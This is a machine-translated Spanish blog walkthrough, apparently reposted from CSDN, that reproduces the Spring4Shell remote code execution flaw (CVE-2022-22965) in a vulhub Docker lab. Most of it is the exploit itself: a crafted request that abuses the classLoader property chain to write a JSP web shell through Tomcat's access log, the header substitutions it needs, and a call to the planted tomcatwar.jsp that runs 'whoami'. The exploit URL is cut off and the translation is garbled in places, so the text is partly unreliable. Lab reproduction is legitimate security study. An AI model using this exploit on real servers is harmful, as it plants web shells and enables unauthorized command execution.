Vulnerabilidad de ejecución remota de código de Spring Framework_CVE-2022-22965-Recurrencia

0x01 Vulnerabilidad Introducción

Spring Framework es un marco de aplicaciones de código abierto. Su intención original es reducir la complejidad del desarrollo de aplicaciones. Tiene una arquitectura en capas, permite a los usuarios seleccionar componentes y también proporciona un marco útil para el desarrollo de aplicaciones J2EE. Cuando Spring se implementa en JDK9 y superior, los atacantes remotos pueden aprovechar esta vulnerabilidad para escribir código malicioso para provocar la ejecución remota de código.

0x02 Reaparición de vulnerabilidad

vulhub/spring/CVE-2022-22965 en maestro · vulhub/vulhub · GitHub

Use el comando en el directorio actual: docker-compose up -d para abrir el entorno con un clic:

Ver que el puerto actual está abierto en 8080:

Después de abrir la página, puede ver que el servicio actual está activo:

http://127.0.0.1:8080/

Siga el enlace del autor:

http://127.0.0.1:8080/?name=Bob&age=25

Aparece la página:

Luego, de acuerdo con el aviso, construya la dirección de solicitud: ( 方法不唯一)

http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25

Una vez realizada la solicitud, se requiere una transformación:

La parte roja se reemplaza con:

?

1

2

3

4

5

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

Content-Length: 2

El efecto se muestra en la siguiente figura:

Entonces visita:

?

1

http://10.30.2.146:8080//tomcatwar.jsp?pwd=j&cmd=whoami

¡Solo ejecuta el comando!

Tenga en cuenta que las ejecuciones múltiples aquí escribirán continuamente archivos en el registro, ¡no opere con frecuencia!

Supongo que te gusta

Origin blog.csdn.net/qq_18209847/article/details/124025563
Recomendado
Clasificación